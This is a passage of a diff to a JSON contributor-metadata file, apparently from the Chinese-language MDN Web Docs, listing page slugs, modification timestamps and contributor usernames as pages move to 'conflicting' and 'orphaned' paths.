"contributors": [ "ziyunfei", - "zhangzipeng" + "Jedichou", + "Freeopen" ] }, - "Web/Security/Information_Security_Basics": { - "modified": "2020-04-29T06:01:25.213Z", + "conflicting/Glossary/Doctype": { + "modified": "2019-03-23T22:20:01.642Z", "contributors": [ - "shellway", - "fanyj1994", - "ivydom", - "wth" + "eforegist" ] }, - "Web/Security/Same-origin_policy": { - "modified": "2020-04-07T00:07:57.795Z", + "Glossary/Serialization": { + "modified": "2019-03-23T22:07:45.475Z", "contributors": [ - "H3lloTom", - "dingziqi", - "769344359", - "AOYE", - "LvChengbin", - "Jerry4013", - "Syclover-u2400", - "iceytea", - "moyamoyarua", - "LeezQ", - "Akiq2016", - "zhuangyin", - "heekei", - "sqchenxiyuan", - "firedent", - "orangle", - "xgqfrms-GitHub", "Ende93", - "Jim_Chen", - "lyhper", - "linzhixiong", - "J22Melody", - "codinglion", - "ziyunfei", - "Taro", - "mr3", - "teoli", - "monjer", - "kusamba", - "Ghostheaven" + "JohnZengshi" ] }, - "Web/Security/Secure_Contexts": { - "modified": "2020-09-16T05:44:30.532Z", + "conflicting/Learn": { + "modified": "2020-07-16T22:33:41.521Z", "contributors": [ - "gjc9620" + "LX" ] }, - "Web/Security/Securing_your_site": { - "modified": "2019-05-30T06:18:16.799Z", + "conflicting/Learn_30ccce5e65b5ce795fc2e288fe9d012b": { + "modified": "2020-07-16T22:33:40.955Z", "contributors": [ - "Qos", - "Roscoe93", - "keep2zero", - "xgqfrms-GitHub", - "hashedhyphen" + "Andrew_Pfeiffer" ] }, - "Web/Security/Securing_your_site/Configuring_server_MIME_types": { - "modified": "2020-07-16T22:36:04.639Z", + "conflicting/Learn/Common_questions": { + "modified": "2020-07-16T22:22:13.542Z", "contributors": [ - "wangxu1144", - "Roscoe93", - "651291702" + "jdk137", + "Ende93", + "yfdyh000", + "yanbinlucy" ] }, - "Web/Security/Securing_your_site/Turning_off_form_autocompletion": { - "modified": "2020-06-26T14:51:08.712Z", + "conflicting/MDN/Contribute": { + "modified": "2019-01-16T16:56:07.625Z", "contributors": [ - "Clarkkkk", - "zhangchen", - "nick-ChenZe", - "tsejx", - "1010Tech", - "xgqfrms-GitHub" + "ygtyugh" ] }, - "Web/Security/传输层安全协议": { - "modified": "2020-05-16T23:45:09.100Z", + "conflicting/MDN/Guidelines/CSS_style_guide": { + "modified": "2020-09-30T15:32:46.742Z", "contributors": [ - "Unequaled804", - "msforest" + "chrisdavidmills", + "wbamberg", + "OlingCat" ] }, - "Web/Security/子资源完整性": { - "modified": "2020-06-01T06:08:59.407Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox": { + "modified": "2019-03-23T22:45:12.350Z", "contributors": [ - "asmoker", - "chenqingyue", - "maicss", - "kingcc", - "Roland_Reed", - "xgqfrms-GitHub" + "GrayLight", + "yfdyh000" ] }, - "Web/Tutorials": { - "modified": "2020-09-27T10:44:48.931Z", + "conflicting/Mozilla/Add-ons/WebExtensions/user_interface": { + "modified": "2019-03-18T21:06:10.178Z", "contributors": [ - "GKilyar", - "StorytellerF", - "yzweb2018", - "shengoo", - "yangzi", - "wumouse", - "185-5162-9169", - "Ende93", - "SamuraiMe", - "cehnjing", - "shengyouxiao", - "ziyunfei" + "qson", + "Hypophrenia" ] }, - "Web/WebDriver": { - "modified": "2020-10-15T22:20:19.059Z", + "conflicting/Learn/Server-side/Django": { + "modified": "2019-03-23T23:11:53.165Z", "contributors": [ - "lvbaiying", - "ZQ-jhon" + "JiangLirui", + "xcffl" ] }, - "Web/Web_Components": { - "modified": "2020-05-14T03:39:38.306Z", + "conflicting/Tools/Performance": { + "modified": "2020-07-16T22:35:29.313Z", "contributors": [ - "lc15011977647", - "RequireSun", - "ujsxn", - "zjffun", - "YellowPure", - "FlyingPig", - "FarmerZhou", - "siwei_null", - "zilong-thu", - "jscgq", - "EliYao", - "zhangchen", - "xgqfrms-GitHub", - "little-tomorrow", - "chaosdog", - "xiaokk06", - "jchnxu", - "Fantasy_shao" + "wbamberg", + "hstarorg", + "Qcui", + "jackyong" ] }, - "Web/Web_Components/HTML导入": { - "modified": "2020-10-15T21:47:50.577Z", + "conflicting/tools/Keyboard_shortcuts": { + "modified": "2020-07-16T22:34:03.695Z", "contributors": [ - "2A5F", - "xgqfrms-GitHub", - "jchnxu" + "wbamberg", + "ziyunfei", + "Sanshao" ] }, - "Web/Web_Components/Status_in_Firefox": { - "modified": "2019-03-23T22:21:10.569Z", + "conflicting/Learn/CSS/Styling_text/Fundamentals": { + "modified": "2020-06-28T08:17:09.016Z", "contributors": [ - "mx601595686" + "riino", + "zsxeee", + "ziyunfei", + "Y001", + "Bonede" ] }, - "Web/Web_Components/Using_custom_elements": { - "modified": "2020-08-13T09:13:52.060Z", + "conflicting/Web/XPath/Introduction_to_using_XPath_in_JavaScript": { + "modified": "2019-01-16T15:30:24.695Z", "contributors": [ - "justaverygoodboy", - "ytxmobile", - "LemonTency", - "Xiaoming666", - "bei6", - "YellowPure", - "rianma", - "fu1252", - "olivewind", - "zhang-quan-yi" + "Cuimingda" ] }, - "Web/Web_Components/Using_shadow_DOM": { - "modified": "2020-06-08T05:35:09.239Z", + "conflicting/Web/Guide": { + "modified": "2019-03-24T00:05:29.399Z", "contributors": [ - "Junezm", - "RainSlide", - "Louis-7", - "haoliangwu", - "zhang-quan-yi" + "xuxun", + "xcffl", + "superwulei", + "Marcossp", + "fantasticfears", + "limomo", + "Cnmahj" ] }, - "Web/Web_Components/Using_templates_and_slots": { - "modified": "2020-11-09T10:43:35.619Z", + "conflicting/Web/Guide/Mobile": { + "modified": "2019-03-23T23:32:37.535Z", "contributors": [ - "luzhenqian", - "jingkaimori", - "Yayure", - "whuhyw", - "sjpeter", - "Czzzx", - "JasonKee", - "xgqfrms", - "xrr2016", - "zxk7516" + "xuxun", + "wbamberg" ] }, - "Web/Web_Components/影子_DOM": { - "modified": "2019-03-23T22:29:42.834Z", + "conflicting/Web/Progressive_web_apps": { + "modified": "2019-03-23T23:32:36.317Z", "contributors": [ - "xgqfrms-GitHub", - "fsx950223", - "floraluo", - "jchnxu" + "cagen53070830", + "ziyunfei", + "goodboy" ] }, - "Web/XML": { - "modified": "2019-09-25T00:01:50.050Z", + "conflicting/Web/Accessibility": { + "modified": "2019-03-23T22:29:25.203Z", "contributors": [ - "amalia77", - "ExE-Boss" + "qianzhangcheng" ] }, - "Web/XML/XML_Introduction": { - "modified": "2020-03-04T03:08:47.854Z", + "Web/API/AmbientLightSensor/illuminance": { + "modified": "2019-03-23T22:07:09.220Z", "contributors": [ - "Whitetea00", - "Joria0414", - "fish-inu", - "ExE-Boss", - "DarrenZhang01", - "pluwen", - "xgqfrms-GitHub", - "Y001", - "Mgjbot", - "Gelihui", - "Kakurady", - "Dbseti" + "shockw4ver" ] }, - "Web/XPath": { - "modified": "2019-03-18T20:43:12.282Z", + "conflicting/Web/API/Canvas_API/Tutorial": { + "modified": "2019-03-23T23:20:14.159Z", "contributors": [ - "RainSlide", - "Ke.shidong", "ziyunfei", - "cattail2012@gmail.com" + "wanglingzhi" ] }, - "Web/XPath/Axes": { - "modified": "2019-03-18T20:43:12.087Z", + "conflicting/Web/API/DOMMatrix": { + "modified": "2019-03-23T22:20:22.410Z", "contributors": [ - "ziyunfei", - "Cuimingda" + "kameii" ] }, - "Web/XSLT": { - "modified": "2019-03-23T23:52:51.686Z", + "Web/API/DeviceMotionEventAcceleration": { + "modified": "2019-03-23T22:20:59.019Z", "contributors": [ - "Gingercat", - "ziyunfei", - "Freeopen", - "Lycvip" + "shuangya" ] }, - "Web/XSLT/Elements": { - "modified": "2019-03-24T00:03:10.744Z", + "conflicting/Web/API/Document_Object_Model": { + "modified": "2019-03-23T23:33:00.872Z", "contributors": [ + "khalid32", "ziyunfei", - "fscholz", - "Freeopen" + "ReyCG_sub", + "ngoyroe" ] }, - "Web/XSLT/Transforming_XML_with_XSLT": { - "modified": "2019-03-23T23:52:45.330Z", + "conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint": { + "modified": "2019-03-23T23:19:33.886Z", "contributors": [ - "chrisdavidmills", - "ziyunfei", - "Freeopen" + "teoli", + "ziyunfei" ] }, - "Web/媒体": { - "modified": "2019-08-30T07:28:45.901Z", + "conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint": { + "modified": "2019-03-23T22:03:51.668Z", "contributors": [ - "Jwenee", - "Forbidden" + "ziyunfei" ] }, - "Web/媒体/Autoplay_guide": { - "modified": "2020-11-19T04:43:44.047Z", + "conflicting/Web/API/DocumentOrShadowRoot/getSelection": { + "modified": "2019-04-29T02:16:09.423Z", "contributors": [ - "avrinfly", - "baijingfeng" + "happyWang", + "teoli", + "AlexChao" ] }, - "Web/演示说明": { - "modified": "2019-09-04T03:32:34.828Z", + "conflicting/Web/API/Document/characterSet": { + "modified": "2019-03-24T00:17:51.204Z", "contributors": [ - "RainSlide", - "yzweb2018", - "nanflower", - "Vevlins", - "wth", - "awesomeric" + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "WebAPI": { - "modified": "2019-03-18T20:42:39.198Z", + "conflicting/Web/API/DocumentOrShadowRoot/styleSheets": { + "modified": "2019-03-23T23:10:11.077Z", "contributors": [ - "wbamberg", - "fscholz", - "jiahui", - "zhenhua32", - "Meteormatt" + "xgqfrms-GitHub", + "teoli", + "AlexChao" ] }, - "WebAssembly": { - "modified": "2020-10-15T21:52:52.867Z", + "Web/API/HTMLElement/accessKey": { + "modified": "2019-03-23T22:20:51.264Z", "contributors": [ - "callmeDAY", - "zhangchen", - "ldwformat", - "zhuangyin", - "kingysu", - "xgqfrms-GitHub", - "disoul" + "songlairui" ] }, - "WebAssembly/C_to_wasm": { - "modified": "2020-11-17T22:59:58.305Z", + "conflicting/Web/API": { + "modified": "2019-03-23T23:09:29.332Z", "contributors": [ - "CGerAJ", - "zhanyuzhang", - "xinghuolei", - "rui-space", - "jinliming2", - "johncido", - "eeve", - "kingysu", - "hungtcs", - "AdrianDuan", - "disoul" + "mySoul", + "teoli", + "AlexChao" ] }, - "WebAssembly/Caching_modules": { - "modified": "2019-03-25T04:00:16.303Z", + "conflicting/Web/API/GlobalEventHandlers/ongotpointercapture": { + "modified": "2019-03-18T21:45:48.501Z", "contributors": [ - "Seasonley", - "rui-space", - "kingysu" + "Bayes", + "StorytellerF" ] }, - "WebAssembly/Concepts": { - "modified": "2019-03-18T20:54:48.847Z", + "conflicting/Web/API/MouseEvent/altKey": { + "modified": "2019-03-24T00:16:10.184Z", "contributors": [ - "xiongcong", - "rui-space", "ziyunfei", - "kingysu" + "teoli", + "jsx" ] }, - "WebAssembly/Exported_functions": { - "modified": "2019-07-23T04:14:30.673Z", + "conflicting/Web/API/MouseEvent/button": { + "modified": "2019-03-24T00:18:20.119Z", "contributors": [ - "imechZhangLY", - "rui-space", - "kingysu" + "ziyunfei", + "teoli", + "AshfaqHossain" ] }, - "WebAssembly/Loading_and_running": { - "modified": "2019-03-18T20:54:50.799Z", + "conflicting/Web/API/MouseEvent/relatedTarget": { + "modified": "2019-03-23T23:09:12.340Z", "contributors": [ - "kingysu", - "xgqfrms-GitHub" + "wbamberg", + "zhangqiong", + "ziyunfei", + "teoli", + "Darrel.Hsu" ] }, - "WebAssembly/Rust_to_wasm": { - "modified": "2020-11-12T06:21:14.353Z", + "conflicting/Web/API/MouseEvent/shiftKey": { + "modified": "2019-03-24T00:16:22.591Z", "contributors": [ - "longfangsong", - "linghucq1", - "yanchongwen101", - "Syaki", - "SphinxKnight", - "SToneX", - "wymm0008" + "ziyunfei", + "teoli", + "khalid32" ] }, - "WebAssembly/Text_format_to_wasm": { - "modified": "2020-01-27T02:12:13.951Z", + "conflicting/Web/API/Document/createEvent": { + "modified": "2019-03-23T22:56:15.340Z", "contributors": [ - "coderzh", - "acelan86", - "xgqfrms-GitHub", - "kingysu" + "holynewbie", + "Serifx", + "yulifu" ] }, - "WebAssembly/Understanding_the_text_format": { - "modified": "2019-03-23T22:12:45.612Z", + "conflicting/Web/API/Event/composedPath": { + "modified": "2019-03-23T22:13:43.358Z", "contributors": [ - "yangdonglai", - "rui-space", - "aaron_li", - "Rexli", - "rockfire", - "acelan86", - "kingysu", - "chyingp", - "itminus" + "DarrenZhang01", + "Gyanxie" ] }, - "WebAssembly/Using_the_JavaScript_API": { - "modified": "2020-08-18T06:38:27.755Z", + "conflicting/Web/API/EventTarget/addEventListener": { + "modified": "2020-12-08T04:46:34.350Z", "contributors": [ - "jealyn", - "xgqfrms", - "coderzh", - "billkang", - "huangjj27", - "kingysu", - "skyfore", - "xgqfrms-GitHub" + "bershanskiy", + "JohnsonBryant", + "eeeeeeeason", + "JiexianYang" ] }, - "WebGuide/API/File_System": { - "modified": "2019-03-23T23:17:06.579Z", + "conflicting/Web/API/EventTarget/removeEventListener": { + "modified": "2019-03-23T22:15:37.296Z", "contributors": [ - "ziyunfei" + "Ende93", + "faremax", + "daisyHawen" ] }, - "WebGuide/API/File_System/Introduction": { - "modified": "2019-03-23T23:31:18.012Z", + "conflicting/Web/API/EventTarget/dispatchEvent": { + "modified": "2019-03-23T22:26:26.112Z", "contributors": [ - "JobbyM", - "ziyunfei", - "james.li" + "pod4g" ] }, - "WebRTC": { - "modified": "2019-03-23T23:36:50.162Z", + "conflicting/Web/API/GlobalEventHandlers/ontouchmove": { + "modified": "2019-03-23T22:38:32.324Z", "contributors": [ - "lxyion", - "acgeeker", - "alayasix" + "zhangqiong" + ] + }, + "conflicting/Web/API/HTMLInputElement": { + "modified": "2019-03-23T23:32:37.731Z", + "contributors": [ + "teoli", + "basemnassar11", + "ziyunfei" ] }, - "WebRTC/介绍": { - "modified": "2019-07-15T23:54:09.891Z", + "conflicting/Web/API/Geolocation": { + "modified": "2019-03-23T23:01:18.415Z", "contributors": [ - "qs3673132", - "Xiaosha61", - "Move", - "acgeeker" + "teoli" ] }, - "Web_Development": { - "modified": "2019-03-24T00:05:29.399Z", + "conflicting/Web/API/Node": { + "modified": "2019-03-24T00:17:51.751Z", "contributors": [ - "xuxun", - "xcffl", - "superwulei", - "Marcossp", - "fantasticfears", - "limomo", - "Cnmahj" + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web_Development/Introduction_to_Web_development": { - "modified": "2019-03-24T00:00:33.366Z", + "conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556": { + "modified": "2019-03-23T23:09:34.131Z", "contributors": [ + "teoli", "ziyunfei", - "fantasticfears" + "AlexChao" ] }, - "Web_Development/Mobile": { - "modified": "2019-03-23T23:32:37.535Z", + "conflicting/Web/API/HTMLElement/outerText": { + "modified": "2019-01-17T00:59:24.641Z", "contributors": [ - "xuxun", - "wbamberg" + "xgqfrms-GitHub" ] }, - "Web_Development/Mobile/Responsive_design": { - "modified": "2019-03-23T23:32:36.317Z", + "conflicting/Web/API/Node/getRootNode": { + "modified": "2019-03-18T21:40:49.635Z", "contributors": [ - "cagen53070830", - "ziyunfei", - "goodboy" + "wbamberg", + "LoveofRedMoon" ] }, - "XHTML": { - "modified": "2019-03-23T23:53:05.465Z", + "conflicting/Web/API/Push_API": { + "modified": "2019-03-23T22:26:22.995Z", "contributors": [ - "SQibang", - "ziyunfei", - "Jiangyuanmil", - "Jiao7zhe8", - "Unest" + "vankai", + "xgqfrms-GitHub", + "hibernake" ] }, - "XMLSerializer": { - "modified": "2020-10-15T21:14:45.671Z", + "conflicting/Web/API/Crypto/getRandomValues": { + "modified": "2019-03-23T22:14:07.005Z", "contributors": [ - "leeleee", - "zhangchen", - "ziyunfei", - "teoli", - "zchong1022" + "micblo" ] }, - "learn": { - "modified": "2020-07-16T22:43:49.854Z", + "conflicting/Web/API/Element": { + "modified": "2020-10-15T22:26:24.148Z", "contributors": [ - "Roy-Tian", - "SirnoChan", - "mrg123", - "wangfangping", - "chentao106", - "916106840510", - "wushengde", - "MingdaHIT", - "JiaHua", - "Aslemonssss", - "SurfingFish", - "svarlamov", - "RanceLotusLee", - "miye", - "xmcgcg", - "codeofjackie", - "xixilog", - "Forbidden", - "Bearies", - "varcat", - "2526chen", - "zs808", - "gao5252", - "xcffl", - "sefer", - "xgqfrms-GitHub", - "fan19900404", - "WavinFlag", - "Simcookies", - "m4jing", - "liminjun", - "sunxiang", - "Ende93", - "Meteormatt", - "lunix01", - "27", - "chenhui7373", - "teoli", - "ziyunfei" + "RainSlide" ] }, - "learn/Accessibility": { - "modified": "2020-07-16T22:40:01.477Z", + "conflicting/Web/API/Window/localStorage": { + "modified": "2019-03-23T22:25:01.381Z", "contributors": [ - "shinexyt", - "pixang", - "yatarphae", - "guaner", - "chenghaihua" + "CuriosityLxn", + "jaiJia", + "lightning-zgc", + "kankk", + "tabooc", + "luneice", + "liuzeyafzy" ] }, - "learn/Accessibility/Accessibility_troubleshooting": { - "modified": "2020-07-16T22:40:37.212Z", + "conflicting/Web/API/WebRTC_API/Protocols": { + "modified": "2020-04-24T05:54:00.386Z", "contributors": [ - "wsj0124", - "kuldahar", - "zeng-zhi-yong" + "xgqfrms", + "ziyunfei", + "SparrowLiu" ] }, - "learn/Accessibility/CSS和JavaScript": { - "modified": "2020-11-03T05:18:13.954Z", + "conflicting/Web/API/WebRTC_API": { + "modified": "2019-03-23T22:45:00.042Z", "contributors": [ - "No.5972", - "yawei", - "grape", - "wangfangping", - "wsj0124", - "cani1see", - "hmfight" + "Ling.kevin" ] }, - "learn/Accessibility/HTML:为可访问性提供一个良好的基础": { - "modified": "2020-07-16T22:40:15.418Z", + "conflicting/Web/API/WebRTC_API/Signaling_and_video_calling": { + "modified": "2019-09-24T02:45:56.457Z", "contributors": [ - "grape", - "kuldahar", - "ChuckZhang", - "zxsunrise", - "xiwusheng", - "zouyang1230", - "Junx" + "lixl", + "huangcheng", + "SparrowLiu" ] }, - "learn/Accessibility/Mobile": { - "modified": "2020-07-16T22:40:33.086Z", + "conflicting/Web/API/GlobalEventHandlers/onmouseup": { + "modified": "2019-03-24T00:16:16.641Z", "contributors": [ - "yuyx91", - "shenshaohui1991" + "teoli", + "khalid32", + "ziyunfei" ] }, - "learn/Accessibility/WAI-ARIA_basics": { - "modified": "2020-07-16T22:40:24.388Z", + "conflicting/Web/API/GlobalEventHandlers/onscroll": { + "modified": "2019-03-24T00:15:58.211Z", "contributors": [ - "grape", - "Madao-3", - "DavidDavidx" + "teoli", + "khalid32", + "ziyunfei" ] }, - "learn/Accessibility/多媒体": { - "modified": "2020-07-16T22:40:28.501Z", + "conflicting/Web/API/Window/moveTo": { + "modified": "2020-10-15T22:06:41.722Z", "contributors": [ - "wangfangping", - "xiwusheng" + "Bayes" ] }, - "learn/Front-end_web_developer": { - "modified": "2020-07-16T22:40:48.018Z", + "conflicting/Web/API/URL": { + "modified": "2019-03-23T22:22:37.359Z", "contributors": [ - "Ende93", - "ex90rts" + "xgqfrms-GitHub", + "Boring" ] }, - "learn/HTML": { - "modified": "2020-07-16T22:22:25.734Z", + "conflicting/Web/CSS/:placeholder-shown": { + "modified": "2019-03-23T23:21:19.033Z", "contributors": [ - "anguiao", - "xmcgcg", - "codeofjackie", - "myfreeer", - "xp44mm", - "xgqfrms-GitHub", - "BigLiao", - "leenlyCFFC", - "Mac_zhang", - "aimiy", - "chenxingyu350128", - "Yongest", - "funnyChinese", - "pkjy", - "sunxiang", - "Metalooze" + "teoli", + "bowen-shi" ] }, - "learn/HTML/Forms_and_buttons": { - "modified": "2020-02-28T22:25:38.433Z", + "conflicting/Web/CSS/:is": { + "modified": "2019-03-23T22:23:18.210Z", "contributors": [ - "Dev-Liangjian" + "Minya_Chan", + "LinYunweb", + "shuihuo", + "tigercao" ] }, - "learn/HTML/Howto": { - "modified": "2020-07-16T22:22:31.131Z", + "conflicting/Web/CSS/::placeholder": { + "modified": "2019-03-23T23:21:18.757Z", "contributors": [ - "xmcgcg", - "coderfee", - "WooHooDai", - "sallyllas", - "sour-toilet-seat", - "webber007", - "pengtikui", - "skylakecore", - "qixi" + "FrontENG", + "teoli", + "bowen-shi" ] }, - "learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": { - "modified": "2020-07-16T22:22:43.732Z", + "conflicting/Web/CSS/@viewport": { + "modified": "2020-11-27T23:49:12.467Z", "contributors": [ - "hebby" + "xusy" ] }, - "learn/HTML/Introduction_to_HTML": { - "modified": "2020-07-16T22:22:54.800Z", + "conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a": { + "modified": "2019-03-23T22:28:00.871Z", "contributors": [ - "zixuan945", - "mkckr0", - "Sphish", - "xmcgcg", - "imba-tjd", - "HolaForce", - "codeofjackie", - "zihengCat", - "lihaoyuan", - "chenos", - "Melvin.", - "xixilog", - "SeanZHU", - "funnyChinese", - "ZhiRui" + "Minya_Chan" ] }, - "learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { - "modified": "2020-10-29T09:47:28.341Z", + "conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f": { + "modified": "2020-10-15T22:19:15.758Z", "contributors": [ - "kuailekai", - "Chell", - "Roy-Tian", - "MorrisLi", - "CesarChang", - "kenneth55555", - "cetewhale", - "xq20160912", - "monkey-king", - "imba-tjd", - "kaka4NERV", - "HolaForce", - "codeofjackie", - "jwhitlock", - "anlien", - "eelord", - "lihaoyuan", - "superkuang", - "zhaoqize", - "023Sparrow", - "yydzxz", - "dirringx", - "HashubWang", - "xiaofei86", - "luwudang", - "weikunzz" + "PYGC", + "gzbitzxx", + "zhangchen", + "x1aodingdang" ] }, - "learn/HTML/Introduction_to_HTML/Debugging_HTML": { - "modified": "2020-09-22T12:30:11.535Z", + "conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848": { + "modified": "2019-10-22T01:59:54.524Z", "contributors": [ - "Roy-Tian", - "aaazz47", - "Yang_Hanlin", - "huaouo", - "HolaForce", - "lihaoyuan", - "zhaoqize", - "littledust", - "Zeng", - "huixiaomu" + "Zhang-Junzhi", + "xpromise" ] }, - "learn/HTML/Introduction_to_HTML/Getting_started": { - "modified": "2020-07-16T22:23:09.709Z", + "conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518": { + "modified": "2020-10-15T21:50:31.298Z", "contributors": [ - "lucida959595", - "Roy-Tian", - "dlnb526", - "LINYI", - "Sphish", - "h4091", - "WoodCube", - "eagle1949", - "imba-tjd", - "gadflysu", - "WimZhai", - "jwhitlock", - "HolaForce", - "byeyear", - "Planet6174", - "codeofjackie", - "pachinko", - "Willian.G", - "alonelyer", - "xp44mm", - "shinexyt", - "zhaoqize", - "Jeffrey_Yang", - "lyxy", - "SilverLeaves", - "skylakecore", - "jiahaifeng", - "workttt", - "HashubWang", - "b2ns", - "songbinghui", - "mhengrui", - "PhilipDing", - "RevolverOcelotA", - "hawm", - "3359260180", - "goingon", - "MinimalistYing", - "funnyChinese" + "zhangchen", + "azhi09" ] }, - "learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": { - "modified": "2020-11-16T00:17:59.659Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders": { + "modified": "2019-03-23T22:45:29.966Z", "contributors": [ - "sinochen123", - "Roy-Tian", - "aaazz47", - "ZeroAurora", - "youngquan", - "MorrisLi", - "SirnoChan", - "Sphish", - "liangmuyang", - "tryhard", - "sf-think", - "baijingfeng", - "WindLo", - "HolaForce", - "web-xx", - "CaTmmao", - "shiyubo", - "zhaoqize", - "fengkx", - "HashubWang", - "skylakecore", - "876843240", - "DZW314", - "danlanxiaohei", - "c0ldian", - "funnyChinese" + "FrontENG", + "teoli" ] }, - "learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { - "modified": "2020-07-16T22:23:14.761Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { + "modified": "2019-03-23T23:28:25.343Z", "contributors": [ - "Roy-Tian", - "ToJunYu", - "ZhiiChong", - "chrisdavidmills", - "SirnoChan", - "FantasqueX", - "imba-tjd", - "ChairMao", - "kongkong1", - "HolaForce", - "Lohoyo", - "phiwyc", - "lihaoyuan", - "zhaoqize", - "gitpyc", - "Boot95" + "imwangpan", + "teoli", + "Nightingale" ] }, - "learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": { - "modified": "2020-07-16T22:24:21.297Z", + "conflicting/Web/CSS/CSS_Color": { + "modified": "2019-03-23T22:09:37.851Z", "contributors": [ - "Roy-Tian", - "MorrisLi", - "HolaForce", - "codeofjackie", - "lihaoyuan", - "zhaoqize", - "littledust", - "ChenLyu01" + "GHLandy", + "Krenair" ] }, - "learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { - "modified": "2020-12-06T06:59:19.723Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox": { + "modified": "2019-03-23T23:31:49.899Z", "contributors": [ - "zrzjohn", - "wayne_lau", - "Roy-Tian", - "Sphish", - "PYGC", - "WoodCube", - "fangfangfanga", - "eagle1949", - "Metaloe", - "HolaForce", - "qinruiy", - "codeofjackie", - "CaTmmao", - "yevivid", - "Willian.G", - "Milktea", - "anan0v0", - "zhaoqize", - "fengkx", - "oldpotter", - "littledust", - "hjb912", - "tianhu288", - "Mac_zhang", - "BarryLiu1995", - "HashubWang", - "littermark", - "igigi", - "876843240", - "mhengrui", - "Daryl.L", - "chinazhaghai", - "sisyphus-zhou" + "hanliuxin5", + "xgqfrms-GitHub", + "mogewcy", + "fedwatch", + "dongyu_-_", + "zrj570543941", + "TiaossuP", + "xgqfrms", + "WynnChen", + "jokeviner", + "fscholz", + "Huxpro", + "ziyunfei", + "yan", + "nighca", + "Kasuganosora", + "yisi", + "Ribery", + "TimZhao", + "Nightingale" ] }, - "learn/HTML/Introduction_to_HTML/文件和网站结构": { - "modified": "2020-09-22T12:28:50.229Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": { + "modified": "2019-03-23T22:27:26.278Z", "contributors": [ - "Roy-Tian", - "aaazz47", - "chenduone", - "MorrisLi", - "SirnoChan", - "wangfangping", - "FantasqueX", - "imba-tjd", - "HolaForce", - "HeYuansong", - "web-xx", - "codeofjackie", - "chaosdog", - "phiwyc", - "eelord", - "lihaoyuan", - "zhaoqize", - "nbhaohao", - "dirringx", - "HashubWang", - "skylakecore", - "BarryLiu1995", - "luwudang", - "JX-Master", - "danlanxiaohei", - "c0ldian" + "Anshiii", + "SphinxKnight", + "lon", + "fscholz", + "lazurey" ] }, - "learn/How_the_Internet_works": { - "modified": "2020-07-16T22:35:39.172Z", + "conflicting/Web/CSS/easing-function": { + "modified": "2020-10-15T21:21:10.131Z", "contributors": [ - "simon.woo", - "grape", - "W-YaoLing", - "ZhuZhuDrinkMilk", - "TaskForce86", - "ShirleyM", - "yydzxz", - "Jeffrey_Yang", - "StarryForce", - "ArcherGrey", - "wth", - "boredivan", - "RyanZhang", - "TanJrJie" + "tzgong", + "WangYiCong", + "woshixixi", + "wqq1992324", + "zhangchen", + "Huahua-Chen", + "Sebastianz", + "jiahui", + "fscholz", + "cungen", + "teoli", + "ziyunfei" ] }, - "learn/How_to_contribute": { - "modified": "2020-07-16T22:33:47.665Z", + "Web/CSS/url()": { + "modified": "2019-03-23T22:25:44.664Z", "contributors": [ - "SphinxKnight", - "Simcookies", - "Forbidden", - "WavinFlag" + "zhyupe" ] }, - "learn/JavaScript": { - "modified": "2020-07-16T22:29:46.300Z", + "conflicting/Web/API/HTMLMediaElement/abort_event": { + "modified": "2019-04-30T14:23:21.618Z", "contributors": [ - "oceanMIH", - "yummy_song", - "scyhm", - "YehaiChen", - "WavinFlag", + "wbamberg", + "hhxxhg", + "fscholz", "xgqfrms-GitHub", - "noiron", - "houcheng", - "Maze", - "Metalooze" + "m2mbob" ] }, - "learn/JavaScript/Building_blocks": { - "modified": "2020-07-16T22:31:11.083Z", + "conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef": { + "modified": "2019-03-23T23:28:38.723Z", "contributors": [ - "Drizzt-Yu", - "NiceGG", - "JiLiangLai", - "xiaobin123", - "xp44mm", - "yzweb2018", - "sonymoon", - "nlln", - "ztytotoro", - "okotta1", - "backli", - "lvyue", - "ByWhy", - "Marslin92", - "chinatomhuang", - "GKilyar", - "iProgramme" + "ziyunfei", + "paddingme", + "Carrott", + "Kasuganosora", + "Sheppy" ] }, - "learn/JavaScript/Building_blocks/Build_your_own_function": { - "modified": "2020-08-01T05:11:26.919Z", + "conflicting/Web/API/Web_Storage_API": { + "modified": "2019-03-24T00:14:59.754Z", "contributors": [ - "driftingdream", - "Hermedius", - "WindLo", - "qiubite-name", - "codeofjackie", - "Undecyce", - "hygSup", - "gitpyc", - "Ray-Eldath", - "Hecdi", - "ppphp" + "ziyunfei", + "celinestar", + "hutuxu", + "Sheppy", + "qiumaoyuan", + "aokihu", + "zhengzong.fu", + "Carrie zhxj" ] }, - "learn/JavaScript/Building_blocks/Functions": { - "modified": "2020-08-27T11:13:47.934Z", + "conflicting/Learn/CSS/Building_blocks": { + "modified": "2019-03-21T02:43:58.945Z", "contributors": [ - "shawn20111416", - "driftingdream", - "jsl1079322620", - "Hermedius", - "jinsth", - "hyjalxl", - "agnoCJY", - "BusyToDie", - "LuoYun", - "codeofjackie", - "zhilu1", - "caifx", - "luoxzhg", - "NicholasCao", - "Pipapa", - "GKilyar", - "caojinguo", - "fyzzy1943", - "minmino" + "seozed", + "Robinx", + "Harvesty", + "ziyunfei", + "teoli", + "Chajn", + "hxl" ] }, - "learn/JavaScript/Building_blocks/Looping_code": { - "modified": "2020-07-16T22:31:22.467Z", + "conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance": { + "modified": 